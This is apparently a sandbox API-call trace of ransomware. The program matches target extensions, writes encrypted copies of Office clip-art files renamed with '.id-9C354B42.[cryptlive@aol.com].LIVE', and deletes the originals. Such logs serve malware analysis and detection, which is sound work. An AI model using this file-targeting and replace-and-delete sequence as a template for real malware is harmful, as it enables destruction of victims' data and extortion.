[0149.308] lstrlenW (lpString=".ppt") returned 4 [0149.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString=".zip") returned 4 [0149.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.308] lstrlenW (lpString=".rar") returned 4 [0149.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString=".bz2") returned 4 [0149.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString=".7z") returned 3 [0149.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString=".dbf") returned 4 [0149.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString=".1cd") returned 4 [0149.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString=".jpg") returned 4 [0149.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.308] lstrlenW (lpString=".doc") returned 4 [0149.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString=".docx") returned 5 [0149.308] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0149.308] lstrlenW (lpString=".pdf") returned 4 [0149.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.308] lstrlenW (lpString=".xls") returned 4 [0149.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.308] lstrlenW (lpString=".xlsx") returned 5 [0149.309] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0149.309] lstrlenW (lpString=".ppt") returned 4 [0149.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.309] lstrlenW (lpString=".zip") returned 4 [0149.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.309] lstrlenW (lpString=".rar") returned 4 [0149.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.309] lstrlenW (lpString=".bz2") returned 4 [0149.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.309] lstrlenW (lpString=".7z") returned 3 [0149.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.309] lstrlenW (lpString=".dbf") returned 4 [0149.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.309] lstrlenW (lpString=".1cd") returned 4 [0149.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0149.309] lstrlenW (lpString=".jpg") returned 4 [0149.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.309] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.309] lstrlenW (lpString="J0099176.WMF") returned 12 [0149.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.310] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2488) returned 1 [0149.310] CloseHandle (hObject=0x3b4) returned 1 [0149.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0149.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.310] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.310] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.311] GetLastError () returned 0x0 [0149.311] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0149.394] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0149.395] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.395] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.395] SetEndOfFile (hFile=0x3a0) returned 1 [0149.395] CloseHandle (hObject=0x3a0) returned 1 [0149.395] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.395] SetEndOfFile (hFile=0x3b4) returned 1 [0149.397] CloseHandle (hObject=0x3b4) returned 1 [0149.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0149.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.455] lstrlenW (lpString=".doc") returned 4 [0149.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.455] lstrlenW (lpString=".docx") returned 5 [0149.455] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.456] lstrlenW (lpString=".pdf") returned 4 [0149.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString=".xls") returned 4 [0149.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.456] lstrlenW (lpString=".xlsx") returned 5 [0149.456] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.456] lstrlenW (lpString=".ppt") returned 4 [0149.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString=".zip") returned 4 [0149.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.456] lstrlenW (lpString=".rar") returned 4 [0149.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString=".bz2") returned 4 [0149.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString=".7z") returned 3 [0149.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString=".dbf") returned 4 [0149.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString=".1cd") returned 4 [0149.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString=".jpg") returned 4 [0149.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.456] lstrlenW (lpString=".doc") returned 4 [0149.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString=".docx") returned 5 [0149.456] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.456] lstrlenW (lpString=".pdf") returned 4 [0149.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.456] lstrlenW (lpString=".xls") returned 4 [0149.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.457] lstrlenW (lpString=".xlsx") returned 5 [0149.457] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.457] lstrlenW (lpString=".ppt") returned 4 [0149.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.457] lstrlenW (lpString=".zip") returned 4 [0149.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.457] lstrlenW (lpString=".rar") returned 4 [0149.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.457] lstrlenW (lpString=".bz2") returned 4 [0149.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.457] lstrlenW (lpString=".7z") returned 3 [0149.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.457] lstrlenW (lpString=".dbf") returned 4 [0149.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.457] lstrlenW (lpString=".1cd") returned 4 [0149.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0149.457] lstrlenW (lpString=".jpg") returned 4 [0149.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.457] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.457] lstrlenW (lpString="J0099187.JPG") returned 12 [0149.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.488] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24528) returned 1 [0149.488] CloseHandle (hObject=0x380) returned 1 [0149.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0149.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.488] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.488] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.489] GetLastError () returned 0x0 [0149.489] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0149.501] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0149.502] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.502] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.503] SetEndOfFile (hFile=0x384) returned 1 [0149.503] CloseHandle (hObject=0x384) returned 1 [0149.503] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.503] SetEndOfFile (hFile=0x380) returned 1 [0149.505] CloseHandle (hObject=0x380) returned 1 [0149.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString=".doc") returned 4 [0149.515] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.515] lstrlenW (lpString=".docx") returned 5 [0149.515] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.515] lstrlenW (lpString=".pdf") returned 4 [0149.515] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.515] lstrlenW (lpString=".xls") returned 4 [0149.515] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.515] lstrlenW (lpString=".xlsx") returned 5 [0149.515] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.515] lstrlenW (lpString=".ppt") returned 4 [0149.515] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString=".zip") returned 4 [0149.515] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.515] lstrlenW (lpString=".rar") returned 4 [0149.515] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.515] lstrlenW (lpString=".bz2") returned 4 [0149.515] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.515] lstrlenW (lpString=".7z") returned 3 [0149.515] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString=".dbf") returned 4 [0149.515] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString=".1cd") returned 4 [0149.515] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.515] lstrlenW (lpString=".jpg") returned 4 [0149.515] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString=".doc") returned 4 [0149.516] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.516] lstrlenW (lpString=".docx") returned 5 [0149.516] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.516] lstrlenW (lpString=".pdf") returned 4 [0149.516] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.516] lstrlenW (lpString=".xls") returned 4 [0149.516] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.516] lstrlenW (lpString=".xlsx") returned 5 [0149.516] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.516] lstrlenW (lpString=".ppt") returned 4 [0149.516] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString=".zip") returned 4 [0149.516] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.516] lstrlenW (lpString=".rar") returned 4 [0149.516] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.516] lstrlenW (lpString=".bz2") returned 4 [0149.516] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.516] lstrlenW (lpString=".7z") returned 3 [0149.516] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString=".dbf") returned 4 [0149.516] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString=".1cd") returned 4 [0149.516] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0149.516] lstrlenW (lpString=".jpg") returned 4 [0149.516] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.516] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.517] lstrlenW (lpString="J0099190.JPG") returned 12 [0149.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.540] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=43892) returned 1 [0149.558] CloseHandle (hObject=0x3a0) returned 1 [0149.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0149.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.559] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.559] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.560] GetLastError () returned 0x0 [0149.560] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xab74, lpOverlapped=0x0) returned 1 [0149.562] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0149.564] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.564] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.564] SetEndOfFile (hFile=0x39c) returned 1 [0149.564] CloseHandle (hObject=0x39c) returned 1 [0149.564] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.564] SetEndOfFile (hFile=0x3a0) returned 1 [0149.567] CloseHandle (hObject=0x3a0) returned 1 [0149.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0149.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.568] lstrlenW (lpString=".doc") returned 4 [0149.568] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.568] lstrlenW (lpString=".docx") returned 5 [0149.568] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0149.568] lstrlenW (lpString=".pdf") returned 4 [0149.568] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.568] lstrlenW (lpString=".xls") returned 4 [0149.568] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString=".xlsx") returned 5 [0149.569] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0149.569] lstrlenW (lpString=".ppt") returned 4 [0149.569] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString=".zip") returned 4 [0149.569] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString=".rar") returned 4 [0149.569] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString=".bz2") returned 4 [0149.569] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.569] lstrlenW (lpString=".7z") returned 3 [0149.569] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString=".dbf") returned 4 [0149.569] 